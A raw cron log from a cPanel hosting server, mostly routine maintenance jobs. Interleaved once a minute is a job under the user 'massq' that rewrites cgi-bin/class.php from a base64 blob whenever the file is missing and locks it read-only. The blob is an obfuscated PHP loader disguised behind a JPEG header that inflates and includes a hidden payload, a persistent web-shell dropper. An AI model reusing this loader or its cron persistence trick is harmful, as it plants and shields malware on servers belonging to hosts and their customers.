Sep  9 09:50:01 server CROND[3392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:50:01 server CROND[3393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:50:01 server CROND[3397]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:50:01 server CROND[3394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:50:01 server CROND[3389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:51:01 server CROND[4249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:51:01 server CROND[4250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:51:01 server CROND[4251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:52:01 server CROND[4621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:52:01 server CROND[4622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:52:01 server CROND[4620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:53:01 server CROND[4985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:53:01 server CROND[4986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:53:01 server CROND[4987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:54:01 server CROND[5371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:54:01 server CROND[5372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:54:01 server CROND[5373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:55:01 server CROND[5838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:55:01 server CROND[5840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:55:01 server CROND[5841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:55:01 server CROND[5842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:55:01 server CROND[5845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:55:01 server CROND[5844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:55:01 server CROND[5847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:56:01 server CROND[6665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:56:01 server CROND[6666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:56:01 server CROND[6667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:57:01 server CROND[7045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:57:01 server CROND[7046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:57:01 server CROND[7047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:57:01 server CROND[7048]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 09:58:01 server CROND[7421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:58:01 server CROND[7422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:58:01 server CROND[7423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:59:01 server CROND[7798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:59:01 server CROND[7799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:59:01 server CROND[7800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:00:01 server CROND[8227]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:00:01 server CROND[8228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:00:01 server CROND[8232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:00:01 server CROND[8233]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 10:00:01 server CROND[8235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:00:01 server CROND[8234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:00:01 server CROND[8236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:00:01 server CROND[8245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:00:01 server CROND[8241]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 10:00:01 server CROND[8243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:01:01 server CROND[9198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:01:01 server CROND[9199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:01:01 server CROND[9201]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 10:01:01 server CROND[9200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
